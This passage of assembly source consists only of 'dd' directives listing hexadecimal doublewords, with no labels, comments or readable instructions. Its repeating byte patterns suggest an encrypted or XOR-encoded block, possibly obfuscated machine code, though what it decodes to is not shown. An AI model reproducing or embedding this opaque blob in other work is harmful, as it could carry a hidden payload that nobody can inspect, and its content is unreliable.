		dd 1F8C8D1Dh, 5FB5915Ch, 1774E117h, 8D1C0CA9h, 6B9DDA8Ch
		dd 0F8212863h, 17636363h, 8D1C48A1h, 995B1F8Ch,	1C28A19Fh
		dd 17CB8C8Dh, 0A86390E1h, 60E96303h, 6368E963h,	0E9636CE9h
		dd 0D3C67464h, 581F9C9Ch, 64D91580h, 20992393h,	9F8C8D1Dh
		dd 8D1ECC99h, 98741F8Ch, 23935F9Dh, 8D1DBC99h, 915C1F8Ch
		dd 92EE5FA5h, 8D1D003Dh, 999FDC8Ch, 8C8D1C24h, 0E1175FB5h
		dd 9F5B1F74h, 0F8212863h, 17636363h, 8D1C64A1h,	925B1F8Ch
		dd 1EACA19Fh, 17CB8C8Dh, 0A86390E1h, 68E96303h,	636CE963h
		dd 0E96364E9h, 0D26E7460h, 581F9C9Ch, 60D91580h, 8D1D383Dh
		dd 9F741F8Ch, 943D5F9Dh, 1F8C8D1Eh, 23939B5Ch, 8D1C3C89h
		dd 0A54C9D8Ch, 9390EE5Fh, 1EB89923h, 5C1F8C8Dh,	3D5FB592h
		dd 8C8D1D00h, 9D9F741Fh, 239374D9h, 8D1EDC99h, 975C1F8Ch
		dd 9374D9A5h, 6362AB1Ah, 1D883D63h, 5F158C8Dh, 1EF0819Fh
		dd 771F8C8Dh, 1DD03D96h, 741F8C8Dh, 78D9159Ah, 9C9D3B75h
		dd 78E1179Ch, 0B8212863h, 93636363h, 1EE8A123h,	5B1F8C8Dh
		dd 0E117CB99h, 3A86390h, 636CE963h, 0E96364E9h,	68E96360h
		dd 9CD28274h, 80581F9Ch, 3D68D915h, 8C8D1DC8h, 1EAC999Fh
		dd 741F8C8Dh, 935F9D99h, 1EB49923h, 89178C8Dh, 8C8D1DFCh
		dd 998CD811h, 91EE5FA5h, 8D1DD43Dh, 7C999F8Ch, 0B58C8D1Dh
		dd 78E1175Fh, 212863DBh, 636363B8h, 1C04A117h, 5B1F8C8Dh
		dd 0A9239394h, 8C8D1D80h
		dd 17CB6B9Dh, 0A86390E1h, 64E96303h, 6360E963h,	0E96368E9h
		dd 0D12D746Ch, 581F9C9Ch, 6CD91580h, 8D1EA43Dh,	9E741F8Ch
		dd 0F83D5F9Dh, 1F8C8D1Eh, 2393945Ch, 8D1DDC89h,	0A54C9D8Ch
		dd 3D96EE5Fh, 8C8D1E80h, 0B58C5C1Fh, 78E1175Fh,	0DCA92393h
		dd 9F8C8D1Eh, 8D1D94A9h, 6B9DD28Ch, 0B8212863h,	17636363h
		dd 8D1DACA1h, 9B5B1F8Ch, 1EECA19Fh, 17CB8C8Dh, 0A86390E1h
		dd 60E96303h, 6368E963h, 0E9636CE9h, 0D1DD7464h, 581F9C9Ch
		dd 64D91580h, 8D1D903Dh, 9E741F8Ch, 0C83D5F9Dh,	1F8C8D1Dh
		dd 5FA5955Ch, 683D96EEh, 1F8C8D1Dh, 5FB5975Ch, 9378E117h
		dd 1EA8A923h, 0A99F8C8Dh, 8C8D1EC4h, 9D9E721Fh,	2128636Bh
		dd 636363B8h, 1D40A117h, 5B1F8C8Dh, 0E117CB90h,	3A86390h
		dd 6368E963h, 0E9636CE9h, 60E96364h, 9CD04274h,	80581F9Ch
		dd 3D60D915h, 8C8D1DF8h, 9F9B5C1Fh, 8D1D9C99h, 935F9D8Ch
		dd 1C089923h, 5C1F8C8Dh, 0EE5FA591h, 99239390h,	8C8D1D80h
		dd 0B58C5C1Fh, 1D6C3D5Fh, 741F8C8Dh, 78D99D99h,	8D1DF03Dh
		dd 9F5C1F8Ch, 9378D9A5h, 6362D41Ah, 94E11763h, 0B8A92393h
		dd 9F8C8D1Eh, 8D1D7CA9h, 9F83178Ch, 0C01568C1h,	2393482Bh
		dd 8D1DC0A9h, 60C1178Ch, 1598C39Fh, 17642BC0h, 8D1D74A9h
		dd 6CC1178Ch, 1590C39Fh, 176C2BC0h, 8D1DD4A9h, 64C1178Ch
		dd 1594C39Fh, 0C3702BC0h, 5F55C7C2h, 0CF7915C9h, 0E117CBCAh
		dd 8CE91790h, 8D06B8F4h, 8963CB8Ch, 8C91C6A0h, 0BCE95C95h
		dd 8DEDDCF4h, 8963CB8Ch, 8C91C6A0h, 8CE95C95h, 8D0568F4h
		dd 8963CB8Ch, 8C91C6A0h, 8CE85C95h, 1594D917h, 17AA639Ah
		dd 98CF6384h, 86775CADh, 30992393h, 938C8D1Ch, 1D348923h
		dd 4C9D8C8Dh, 159B741Fh, 0DC9E249Ah, 0C2C31C9Ch, 905EC1C7h
		dd 6B22749Ch, 0ECF46363h, 748C8D05h, 636368D8h,	0A0C574CCh
		dd 0CC3F9C9Ch, 0F48C8DEDh, 8C8D05F9h, 6368B374h, 0D874CC63h
		dd 3F9C9CA0h, 8C9C6CA0h, 8D05C5F4h, 6886748Ch, 74CC6363h
		dd 9C9CA0B3h, 95AF803Fh, 5D3F48Ch, 99748C8Dh, 0CC636368h
		dd 9CA08674h, 0BD383F9Ch, 0DBF48C9Dh, 748C8D05h, 63636F6Ch
		dd 0A09974CCh, 6C3F9C9Ch, 0F48C99B5h, 8C8D05A2h, 636F4774h
		dd 6C74CC63h, 3F9C9CA7h, 8C95C568h, 8D05A8F4h, 6F5A748Ch
		dd 74CC6363h, 9C9CA747h, 95D5883Fh, 5B0F48Ch, 2D748C8Dh
		dd 0CC63636Fh, 9CA75A74h, 9C803F9Ch, 0BEF48C9Dh, 748C8D05h
		dd 63636F00h, 0A72D74CCh, 7C3F9C9Ch, 0F48C99B5h, 8C8D0584h
		dd 636F1B74h, 74CC63h, 3F9C9CA7h, 8C9C6CB0h, 8D0592F4h
		dd 6FEE748Ch, 74CC6363h, 9C9CA71Bh, 95D6A83Fh, 598F48Ch
		dd 0C1748C8Dh, 0CC63636Fh, 9CA7EE74h, 0FC581F9Ch, 91C6DC3Fh
		dd 15C95F8Ch, 0BD8C2479h, 0B5749C9Dh, 0CF9C9C5Ch, 0E963CBCAh
		dd 60191194h, 0CC636242h, 9C5CAB74h, 6011119Ch,	1F636242h
		dd 1CDC6354h, 0E99C9DA0h, 81239365h, 8C8D1D98h,	0D8892393h
		dd 9D8C8D1Dh, 99771F4Fh, 42B55A15h, 1D188117h, 771F8C8Dh
		dd 0A9001494h, 63624260h, 0BC992393h, 158C8D1Dh, 38899F5Eh
		dd 1F8C8D1Ch, 93CE9076h, 1EA88923h, 4C9D8C8Dh, 0CC9B741Fh
		dd 23939FF6h, 8D1D5899h, 9B741F8Ch, 992393CCh, 8C8D1D30h
		dd 1D2C999Fh, 741F8C8Dh, 9DF4CC91h, 111C9C9Ch, 62426019h
		dd 8963CC63h, 8C8DF084h, 631F5B15h, 0AB189363h,	939C9C9Eh
		dd 1C789923h, 999F8C8Dh, 8C8D1D4Ch, 0CC9F741Fh,	426C1911h
		dd 0F4CC6362h, 9C9C8363h, 7C9D1911h, 0CBCC6363h, 6CA88963h
		dd 19158C9Ch, 63624264h, 0D48963CBh, 3D8C95D6h,	8C8D1DD4h
		dd 0A59B741Fh, 62426419h, 77189363h, 939C9C9Dh,	1EE89923h
		dd 201C8C8Dh, 637C9C99h, 1993D063h, 9C9C9D4Ah, 0D1292A93h
		dd 9363637Ch, 7CD2012Ah, 2B936363h, 947F5D47h, 15FA4295h
		dd 62426A29h, 99239363h, 8C8D1DECh, 6A092B93h, 11636242h
		dd 0FAD18CD8h, 7C9C1915h, 2B936362h, 627C9C19h,	18229363h
		dd 637C9D99h, 89239363h, 8C8D1C78h, 1D00899Fh, 761F8C8Dh
		dd 934CA59Bh, 9C9DE518h, 1D843D9Ch, 999F8C8Dh, 8C8D1C7Ch
		dd 9395741Fh, 7C9C092Bh, 91176362h, 8C8D1DB8h, 1C04919Fh
		dd 751F8C8Dh, 93569D9Fh, 9D890822h, 0A563637Ch,	0DF19934Ch
		dd 939C9C9Dh, 7C9C192Bh, 89176362h, 8C8D1E84h, 15935E1Fh
		dd 934D9D5Dh, 9D91082Ah, 1763637Ch, 8D1D4CA9h, 915A1F8Ch
		dd 0E8812393h, 9D8C8D1Eh, 9D5F1542h, 282A936Fh,	637C9D81h
		dd 6A2B9363h, 15947A5Dh, 156F954Fh, 6A2B9342h, 6F9D5F15h
		dd 15FA4215h, 62426829h, 192B9363h, 63624268h, 9D991811h
		dd 0CC63637Ch, 7C9E1911h, 74CC6362h, 9C9C22DCh,	7C9E1111h
		dd 541F6362h, 0A01CDC63h, 65E99C9Dh, 23935B15h,	8D1C5099h
		dd 9D741F8Ch, 5EB56615h, 9E89201Ch, 0B263627Ch,	0A43DECE9h
		dd 938C8D1Dh, 1EB48923h, 4C9D8C8Dh, 159B741Fh, 935EB566h
		dd 9E891822h, 0CC63627Ch, 6CA08963h, 581F8C9Ch,	0C4641F98h
		dd 2393D8E9h, 8D1EB8A9h, 9D721F8Ch, 6FB56715h, 81282293h
		dd 63627C9Eh, 0A08963CAh, 1F8C9C6Ch, 641F9858h,	1583E9D9h
		dd 9CA9B762h, 938C8D1Eh, 9EA92822h, 0CA63627Ch,	6CA08963h
		dd 581F8C9Ch, 0D9641F98h, 0AA779EE8h, 8D0463F4h, 6C0E748Ch
		dd 11CC6363h, 627C9E21h, 8963CB63h, 8C9C6CB0h, 8D1D9C3Dh
		dd 0D4999F8Ch, 1F8C8D1Dh, 11CC9B74h, 627C9E19h,	4774CC63h
		dd 1F9C9C94h, 0C2C38858h, 0C95F55C7h, 17CB7915h, 0E96390D9h
		dd 8CE96388h, 6390E963h, 896394E9h, 8C9DB954h, 8C5EC1C3h
		dd 7915C99Ch, 9C08701Dh, 23939C9Ch, 8D1DEC99h, 99A7D48Ch
		dd 8C8D1E30h, 5CAD99E8h, 5BB377DCh, 6363F019h, 9C9C0863h
		dd 0F019119Ch, 0CC636363h, 0ECB48963h, 211F8C8Dh, 636363E0h
		dd 5B96E99Eh, 8D1E3099h, 9C9C9D8Ch, 1E303D9Ch, 5F558C8Dh
		dd 0CD7915C9h, 0E117CBCCh, 633F7494h, 5C956363h, 0A963B8E8h
		dd 8C8D1E2Ch, 63CB9DF6h, 8DC6F489h, 60D9158Ch, 1E2CA963h
		dd 98F68C8Dh, 0F48963CBh, 158C8DC6h, 55C364D9h,	7915C95Fh
		dd 0CBCACFCDh, 0F694E917h, 0F69CF69Ch, 0F69CF69Fh, 9C9CF49Ch
		dd 0ACF41C9Ch, 638C95AFh, 8DF08489h, 935B158Ch,	1D549923h
		dd 23938C8Dh, 8D1C7089h, 8CD8118Ch, 0E95BA564h,	1EC43D80h
		dd 999F8C8Dh, 8C8D1C68h, 179F741Fh, 8D1EEC89h, 99761F8Ch
		dd 779A8814h, 3D9CF6E8h, 8C8D1E80h, 1C4C999Fh, 741F8C8Dh
		dd 0E963CC98h, 8963CB90h, 8C8DECACh, 50992393h,	938C8D1Ch
		dd 1C3C8923h, 4C9D8C8Dh, 0CC90741Fh, 0CC60D911h, 0A0992393h
		dd 1F8C8D1Eh, 0CACC8D5Ch, 0A88963CBh, 158C9C6Ch, 8963CB5Fh
		dd 8C95D6D4h, 14992393h, 9F8C8D1Dh, 8D1D6099h, 99741F8Ch
		dd 8DE95FA5h, 8D1D3C3Dh, 6089178Ch, 1F8C8D1Ch, 88149E76h
		dd 0C7C2C39Ah, 0CBCA5F55h, 90B8E817h, 0E43D6B15h, 1F8C8D1Dh
		dd 2393985Ch, 8D1D3489h, 0A54C9D8Ch, 3DA6E15Bh,	8C8D1E84h
		dd 1C38999Fh, 741F8C8Dh, 64339399h, 8992393h, 938C8D1Ch
		dd 1E908923h, 0D8118C8Dh, 89179D8Ch, 8C8D1EF0h,	159B761Fh
		dd 934D9D6Dh, 5BB55D33h, 9C9DDF75h, 483DD39Ch, 1F8C8D1Ch
		dd 999F985Ch, 8C8D1D48h, 0B1E15BA5h, 8D1C203Dh,	9E5C1F8Ch
		dd 1C54999Fh, 33938C8Dh, 0B55B155Bh, 0E089176Ch, 1F8C8D1Dh
		dd 899F9B5Eh, 8C8D1DC4h, 4BB55B15h, 9C9D9F75h, 2393D39Ch
		dd 8D1EE899h, 0BD5C1F8Ch
		dd 86E15BA5h, 8D1C4C3Dh, 3393D48Ch, 3D5B155Bh, 8C8D1D5Ch
		dd 0B5DE5C1Fh, 9C46755Bh, 93D39C9Ch, 1EFC9923h,	5C1F8C8Dh
		dd 0E15BA587h, 1D3C3DBAh, 999F8C8Dh, 8C8D1DB8h,	939B741Fh
		dd 0E03D6433h, 1F8C8D1Dh, 999FA65Ch, 8C8D1ED8h,	39755BB5h
		dd 0D39C9C9Ch, 8D1DE43Dh, 0B85C1F8Ch, 0DC892393h, 9D8C8D1Dh
		dd 0E15BA54Ch, 992393B6h, 8C8D1E88h, 0F4892393h, 9D8C8D1Eh
		dd 98741F4Ch, 155B3393h, 1C203D5Bh, 5C1F8C8Dh, 0B8999FD7h
		dd 0B58C8D1Dh, 0D3F9775Bh, 8D1DE83Dh, 0AE5C1F8Ch, 0C0892393h
		dd 9D8C8D1Dh, 0E15BA54Ch, 1D2C3D8Bh, 741F8C8Dh,	64339399h
		dd 8D1EF83Dh, 0FB5C1F8Ch, 0A4775BB5h, 1DF03DD3h, 5C1F8C8Dh
		dd 0E15BA5ACh, 1EAC3D83h, 999F8C8Dh, 8C8D1EF0h,	9397741Fh
		dd 23936433h, 8D1D2099h, 0F75C1F8Ch, 90775BB5h,	6C992393h
		dd 1F8C8D1Ch, 5BB5AA5Ch, 0C2C36415h, 7915C95Fh,	9E80701Dh
		dd 0CACF9C9Ch, 6C1911CBh, 0CC636361h, 9DBC3CF4h, 0B89F748Ch
		dd 581F9C9Ch, 64191594h, 17636361h, 8D1D6891h, 99751F8Ch
		dd 9BE954A5h, 1E755CADh, 3D9C9C9Dh, 8C8D1D88h, 1DC8999Fh
		dd 741F8C8Dh, 60191599h, 17636361h, 63616019h, 64091763h
		dd 11636361h, 541F9E90h, 0A01CDC63h, 65E99C9Dh,	61681915h
		dd 211D6363h, 63636168h, 9C9C9C63h, 191780EFh, 63636160h
		dd 9F9D5C1Fh, 63616419h, 1911CC63h, 6363639Dh, 252274CCh
		dd 23939C9Ch, 8D1C6C99h, 9F5A158Ch, 8D1D10A9h, 9F721F8Ch
		dd 201CB977h, 63639DA9h, 94E9B463h, 9DA9185Ah, 0B7636363h
		dd 9DA9201Ch, 0B5636363h, 185A94E9h, 63639DA9h,	11DAA163h
		dd 63639D11h, 63541F63h, 9DA01CDCh, 0A565E99Ch,	0F45BEE5Ah
		dd 9C9C9C63h, 629E1911h, 11CC6363h, 63639D19h, 0C274CC63h
		dd 1F9C9CFBh, 5F159058h, 1E98A117h, 731F8C8Dh, 93B2779Fh
		dd 9EA11822h, 15636362h, 63617419h, 6B641563h, 7819157Bh
		dd 17636361h, 63617419h, 78091763h, 0B5636361h,	0A118144Ch
		dd 6363629Eh, 0EE43A5DBh, 1C4C3D52h, 741F8C8Dh,	0E963CC9Fh
		dd 9E191194h, 0CC636362h, 9CFC1674h, 90581F9Ch,	61701915h
		dd 683D6363h, 998C8D1Dh, 9C9C6366h, 617019A5h, 8DE86363h
		dd 61642963h, 89636363h, 8C9DB950h, 77DC5CADh, 681917A0h
		dd 9D636361h, 63616019h, 99239363h, 8C8D1EF4h, 9D9E5C1Fh
		dd 63616019h, 6C191763h, 0A5636361h, 63616019h,	3C1E9363h
		dd 63636362h, 63616429h, 50896363h, 0AD8C9DB9h,	0C7C2C35Ch
		dd 15C95F55h, 8E902479h, 0F9749C9Ch, 0CF9C9C24h, 6CF4CBCAh
		dd 748C8D08h, 636377ECh, 9D2111CCh, 0CB63636Ch,	0C6B48963h
		dd 581F8C91h, 1C343D90h, 23938C8Dh, 8D1DC089h, 9D5A158Ch
		dd 97721F4Ah, 201C8677h, 636C9DA9h, 93E9BF63h, 8D1DE43Dh
		dd 9F741F8Ch, 9DA91814h, 0DA63636Ch, 9363621Dh,	42EE9C9Ch
		dd 8D1EF83Dh, 9F5F158Ch, 8D1D7881h, 94771F8Ch, 0B4992393h
		dd 1F8C8D1Eh, 19159A74h, 63637360h, 8D1C243Dh, 8923938Ch
		dd 8C8D1E8Ch, 741F4C9Dh, 94D9A597h, 0D917FDE9h,	6019A590h
		dd 0E9636373h, 8118118Bh, 63636C9Dh, 0C6ECF4CCh, 41748C8Dh
		dd 759C9C2Bh, 9C9C9E03h, 9D811011h, 1F63636Ch, 1CDC6354h
		dd 0E99C9DA0h, 635F9D65h, 63736019h, 9D5F1F63h,	8D1ED43Dh
		dd 8923938Ch, 8C8D1EA0h, 741F4C9Dh, 822939Bh, 636C9D81h
		dd 934CA563h, 9C9EFE18h, 3D03779Ch, 8C8D1C40h, 1C68999Fh
		dd 741F8C8Dh, 60191595h, 3D636373h, 8C8D1C38h, 0C0892393h
		dd 9D8C8D1Dh, 90741F4Ch, 9394C917h, 1E909123h, 919F8C8Dh
		dd 8C8D1D5Ch, 3D9E9014h, 8C8D1E24h, 73641915h, 81176363h
		dd 8C8D1EC4h, 879F4D7h,	0A1748C8Dh, 0CC636376h,	72692111h
		dd 74CB6363h, 9C9C2BA4h, 9D811811h, 0CC63636Ch,	72691911h
		dd 63CC6363h, 9C6CB089h, 90581F8Ch, 0EDCC8963h,	88258C8Dh
		dd 59C9C9Ch, 915656Bh, 63637368h, 0B0992393h, 1F8C8D1Dh
		dd 5EA59F74h, 9C401F93h, 29639C9Ch, 63637364h, 716A1911h
		dd 74CC6363h, 9C9CE054h, 8D1D5C3Dh, 0C0999F8Ch,	1F8C8D1Eh
		dd 11CC9874h, 63726919h, 0E963CC63h, 0C2C97494h, 581F9C9Ch
		dd 7CA11788h, 1D8C8D1Ch, 9C63625Bh, 0E964A59Ch,	691911BBh
		dd 0CC636372h, 6394E963h, 9C6CB089h, 87CF48Ch, 9748C8Dh
		dd 0CC636375h, 6394E963h, 9C6CB089h, 88581F8Ch,	8D1DD43Dh
		dd 88999F8Ch, 1F8C8D1Dh, 11CC9474h, 63716A19h, 0E963CC63h
		dd 0C1617494h, 581F9C9Ch, 0A11790h, 1D8C8D1Dh, 9C63645Bh
		dd 0E95BA59Ch, 849F4A7h, 0D1748C8Dh, 0CC636375h, 6394E963h
		dd 9C6CB089h, 6A19118Ch, 0CC636371h, 6394E963h,	9C6CB089h
		dd 84CF48Ch, 0B5748C8Dh, 0CC636375h, 6394E963h,	9C6CB089h
		dd 0BC581F8Ch, 73641963h, 29636363h, 63637360h,	6366BD74h
		dd 1915C563h, 63637368h, 8D1DD43Dh, 8923938Ch, 8C8D1DDCh
		dd 741F4C9Dh, 6819A596h, 0EF636373h, 992393FFh,	8C8D1D58h
		dd 0C0892393h, 9D8C8D1Dh, 95741F4Ch, 691911CCh,	0CC636372h
		dd 7494E963h, 9C9CC1C7h, 1790581Fh, 8D1DFCA1h, 655B1D8Ch
		dd 9F9C9C63h, 8D1EC4A1h, 0E95BA58Ch, 691911BBh,	0CC636372h
		dd 6394E963h, 9C6CB089h, 857F48Ch, 9748C8Dh, 0CC636374h
		dd 6394E963h, 9C6CB089h, 88581F8Ch, 9D811011h, 1F63636Ch
		dd 1CDC6354h, 0E99C9DA0h, 1F5F9D65h, 19639D5Fh,	63637360h
		dd 81182293h, 63636C9Dh, 1C248917h, 761F8C8Dh, 934CA594h
		dd 63629019h, 64191763h, 3F636373h, 8C8D1E24h, 8D085AF4h
		dd 74A2748Ch, 63CC6363h, 896394E9h, 8C9C6CB0h, 0C390581Fh
		dd 5F55C7C2h, 0CD7915C9h, 0CBCACFCCh, 1EF8A917h, 721F8C8Dh
		dd 60D9119Fh, 688F4CCh,	0D9178C8Dh, 8417CC94h, 9C818863h
		dd 159C9C9Ch, 1DAC3D5Bh, 999F8C8Dh, 8C8D1C40h, 0A596741Fh
		dd 0AD98E85Bh, 11C6775Ch, 63CC64D9h, 0D9178CE9h, 8417CC60h
		dd 158CCF63h, 1D943D5Bh, 741F8C8Dh, 0E964A59Eh,	88E963ADh
		dd 1790E963h, 17CC64D9h, 88CF6384h, 23935B15h, 8D1D5499h
		dd 9B741F8Ch, 95E95BA5h, 1C00A917h, 721F8C8Dh, 64D9179Ah
		dd 638417CCh, 0D91794CFh, 8417CC60h, 1594CF63h,	0C7C2C36Ch
		dd 15C95F55h, 0D8701D79h, 0CF9C9C9Fh, 0E963CBCAh, 0B8896390h
		dd 0C58C91C6h, 1194E963h, 63607619h, 0ED74CC63h, 119C9C28h
		dd 63607611h, 63541F63h, 9DA01CDCh, 1765E99Ch, 8D1ED489h
		dd 9F761F8Ch, 4FB55F15h, 1C548917h, 8148C8Dh, 63607681h
		dd 99239363h, 8C8D1D8Ch, 0A19F5B15h, 8C8D1D28h,	939E731Fh
		dd 1D209923h, 19158C8Dh, 6363607Ch, 899F5E15h, 8C8D1C04h
		dd 159A761Fh, 63604409h, 15641563h, 63604019h, 34911763h
		dd 9F8C8D1Ch, 8D1D0091h, 91751F8Ch, 19157D6Bh, 63636048h
		dd 60441917h, 9176363h,	63636048h, 89174C9Dh, 8C8D1EB0h
		dd 607C1117h, 569D6363h, 149A761Fh, 61729908h, 64156363h
		dd 1ED89117h, 751F8C8Dh, 157D6B99h, 63604C19h, 18229363h
		dd 636076A1h, 4C091763h, 14636360h, 61728918h, 22936363h
		dd 6076A118h, 89176363h, 8C8D1DA0h, 1DE0899Fh, 761F8C8Dh
		dd 934CA592h, 9C9C0F19h, 1C643D9Ch, 19158C8Dh, 63636050h
		dd 54892393h, 1F8C8D1Dh, 9159876h, 63636058h, 19156415h
		dd 63636054h, 1DB49117h, 751F8C8Dh, 157D6B99h, 63605C19h
		dd 58191763h, 17636360h
		dd 63605C09h, 174C9D63h, 63605009h, 9D4D1563h, 94761F4Eh
		dd 72990814h, 15636361h, 0F8911764h, 1F8C8D1Dh,	7D6B9E5Dh
		dd 60201915h, 903D6363h, 1F8C8D1Dh, 9179B74h, 63636020h
		dd 843D5E9Dh, 938C8D1Eh, 1C3C9123h, 549D8C8Dh, 1494741Fh
		dd 61728918h, 9A776363h, 622175DBh, 683D6363h, 9F8C8D1Dh
		dd 8D1D6499h, 90741F8Ch, 1E0899A5h, 0F0E88C8Dh,	61721911h
		dd 3DCC6363h, 8C8D1D64h, 1DF0999Fh, 741F8C8Dh, 8963CC8Ch
		dd 8C9DB928h, 0D43D5A15h, 938C8D1Eh, 1DEC8923h,	4C9D8C8Dh
		dd 0A599741Fh, 93A5E85Ah, 1EFC9923h, 741F8C8Dh,	499A595h
		dd 0E88C8D1Eh, 1D103DD4h, 6BDC8C8Dh, 1911CC44h,	63636172h
		dd 992393CCh, 8C8D1E88h, 1D84999Fh, 741F8C8Dh, 8963CC90h
		dd 8C9C6CB8h, 0B958A963h, 0A9638C9Dh, 8C95C69Ch, 60761911h
		dd 74CC6363h, 9C9CA1DDh, 1590581Fh, 63607819h, 0C7C2C363h
		dd 15C95F55h, 9CA42479h, 81749C9Fh, 0CF9C9C2Eh,	1911CBCAh
		dd 63616374h, 1EEC3DCCh, 741F8C8Dh, 0D911CC99h,	0D911CC80h
		dd 2393CC90h, 8D1EA099h, 9F741F8Ch, 94D917CCh, 638417CCh
		dd 5B15C8CFh, 8D1C0C3Dh, 64A5D48Ch, 9F2E1993h, 23939C9Ch
		dd 8D1C5099h, 24999F8Ch, 1F8C8D1Dh, 11CC9074h, 61634019h
		dd 3DCC63h, 9F8C8D1Ch, 8D1D9099h, 93741F8Ch, 741917CCh
		dd 0CC636163h, 0CF638417h, 3D5B1590h, 8C8D1C5Ch, 20892393h
		dd 9D8C8D1Dh, 9A741F4Ch, 19935BA5h, 9C9C9FD3h, 1DF0A917h
		dd 721F8C8Dh, 9E191195h, 0CC63629Ch, 63402963h,	0B8746361h
		dd 1F9C9C0Ch, 391F9458h, 63616370h, 1D7C3D9Ch, 741F8C8Dh
		dd 44191595h, 5B636163h, 61636C19h, 9C9C8C63h, 1D883D9Ch
		dd 741F8C8Dh, 6019159Eh, 3D636163h, 8C8D1C28h, 1598741Fh
		dd 61636419h, 68195B63h, 9E636163h, 3D9C9C9Ch, 8C8D1C74h
		dd 1E80999Fh, 741F8C8Dh, 1911CC9Bh, 6361636Ch, 701911CCh
		dd 0CC636163h, 63441911h, 63CC6361h, 61634029h,	80D91163h
		dd 90D911CCh, 992393CCh, 8C8D1C70h, 94D917CCh, 638417CCh
		dd 5B15D8CFh, 8D1DB43Dh, 9B741F8Ch, 199364A5h, 9C9C9DA6h
		dd 8D1DCC3Dh, 8923938Ch, 8C8D1EE8h, 4A9D5A15h, 9398721Fh
		dd 1D309923h, 23938C8Dh, 8D1C7089h, 1C4C9D8Ch, 63609920h
		dd 0E9D86361h, 1D403DADh, 201C8C8Dh, 61636199h,	0BEE9D563h
		dd 8C992393h, 1C8C8D1Eh, 9C9E9920h, 0E9CC6362h,	9923938Dh
		dd 8C8D1D20h, 6299201Ch, 0CC636163h, 4B7599E8h,	179C9C9Ch
		dd 61634419h, 4C191563h, 17636163h, 61637019h, 48191563h
		dd 11636163h, 61637C19h, 2393CC63h, 8D1E8899h, 5C89178Ch
		dd 9D8C8D1Ch, 98761F5Eh, 892393CEh, 8C8D1DDCh, 4C155E9Dh
		dd 0CC94741Fh, 50992393h, 1F8C8D1Dh, 3DCC9A74h,	8C8D1DF8h
		dd 44892393h, 9D8C8D1Ch, 95741F4Ch, 992393CCh, 8C8D1D70h
		dd 0CC9F741Fh, 634C1911h, 63CC6361h, 9C6CB489h,	5019158Ch
		dd 17636163h, 8D1EEC91h, 0AC919F8Ch, 1F8C8D1Dh,	5DA59475h
		dd 0D03D89E9h, 938C8D1Dh, 1EDC8923h, 5A158C8Dh,	721F4A9Dh
		dd 17AF779Bh, 8D1DF8A9h, 9E5A1F8Ch, 63551911h, 63CC6360h
		dd 61637829h, 12F97463h, 581F9C9Ch, 78211F94h, 9C636163h
		dd 296390E8h, 63616378h, 0B9508963h, 23938C9Dh,	8D1EFC99h
		dd 99185A8Ch, 63626365h, 1D6C3DE0h, 23938C8Dh, 8D1DBC89h
		dd 9F761F8Ch, 66990814h, 93636263h, 1EA89923h, 185A8C8Dh
		dd 62636199h, 0E963CC63h, 9D1911B0h, 0CC63639Ch, 6CB08963h
		dd 5DF48C9Ch, 748C8D08h, 63637EF4h, 9D0111CCh, 0CF63639Ch
		dd 6CB08963h, 38F48C9Ch, 748C8D08h, 63637ECCh, 0FC812393h
		dd 158C8D1Eh, 15469D46h, 8D771F4Fh, 0E963CCCFh,	0CA5574B0h
		dd 581F9C9Ch, 408917B8h, 1D8C8D1Ch, 9C63645Eh, 54899F9Ch
		dd 0A58C8D1Ch, 1184E84Ch, 629C9E19h, 1911CC63h,	63639C9Dh
		dd 343074CCh, 581F9C9Ch, 11B37794h, 629C9E19h, 1911CC63h
		dd 63639C9Dh, 0B08963CCh, 0F48C9C6Ch, 8C8D0803h, 637D7B74h
		dd 111CC63h, 63639C9Dh,	0B08963CFh, 1F8C9C6Ch, 0A9A58858h
		dd 8C8D1C0Ch, 191792E9h, 63616370h, 63541915h, 90776361h
		dd 63551911h, 19156360h, 63616354h, 63542963h, 19116361h
		dd 63639C9Dh, 0B08963CCh, 0F48C9C6Ch, 8C8D085Dh, 637D0B74h
		dd 111CC63h, 63639C9Dh,	0B08963CFh, 1F8C9C6Ch, 843D8858h
		dd 0D48C8D1Eh, 637019A5h, 90E86361h, 63702963h,	89636361h
		dd 8C99AD70h, 9C9D1911h, 63CC6363h, 99AD7C89h, 0FF75C58Ch
		dd 1F636360h, 61637421h, 90E89C63h, 63741917h, 17CC6361h
		dd 94CF6384h, 55C7C2C3h, 7915C95Fh, 0CFB4701Fh,	0DF22CBCAh
		dd 779C9C9Ch, 81239384h, 8C8D1C30h, 1D88819Fh, 771F8C8Dh
		dd 29801595h, 8C8DF0BCh, 0C6621FDAh, 0DF237FEAh, 759C9C9Ch
		dd 9C9C9D1Ah, 8D080BF4h, 7C62748Ch, 0CCCB6363h,	0CF6EC111h
		dd 0C6B48963h, 483D8C91h, 9F8C8D1Dh, 8D1C5899h,	8E741F8Ch
		dd 0B88963CCh, 1F8C91C6h, 80178858h, 8DF0BC21h,	5481A58Ch
		dd 0E88C8D1Ch, 992393CCh, 8C8D1C70h, 1DAC999Fh,	741F8C8Dh
		dd 70D9159Fh, 0CC70D911h, 0BC21A863h, 638C8DF0h, 8DC6D089h
		dd 70E11D8Ch, 9C9C9D9Fh, 0A863BFE8h, 8DF0BC21h,	0D489638Ch
		dd 178C95D6h, 8D1E9881h, 0AC819F8Ch, 1F8C8D1Eh,	80159477h
		dd 8DF0BC21h, 6ED9118Ch, 0F88963CCh, 158C8DC6h,	641F60D9h
		dd 1FDEE898h, 0A1E89F64h, 0E89E641Fh, 812393A4h, 8C8D1D50h
		dd 1C54819Fh, 771F8C8Dh, 2180A59Ah, 8C8DF0BCh, 9C231893h
		dd 81179C9Ch, 8C8D1D18h, 1D7C819Fh, 771F8C8Dh, 2180158Dh
		dd 8C9DB97Ch, 9C9C3875h, 639DF69Ch, 9D935C89h, 40D9118Ch
		dd 74D911CCh, 78D911CCh, 7CD911CCh, 6ED911CCh, 148963CCh
		dd 938C9DBCh, 1DF48123h, 771F8C8Dh, 0E95FA598h,	21A01F80h
		dd 8C8DF0BCh, 17F6E89Ch, 8D1DB881h, 95771F8Ch, 7C218015h
		dd 778C9DB9h, 0EC8117C4h, 1F8C8D1Eh, 80A59977h,	8DF0BC21h
		dd 15DAE98Ch, 0B97C21A0h, 0D9118C9Dh, 2393CC44h, 8D1D5899h
		dd 999F8Ch, 1F8C8D1Ch, 11CC9274h, 0B97C2180h, 0F4CF8C9Dh
		dd 8C9C001Fh, 1C608117h, 771F8C8Dh, 0A963CF9Eh,	8C8D1D10h
		dd 0ECBC8963h, 98158C8Dh, 8DF0BC21h, 631FDB8Ch,	0ED1A93C6h
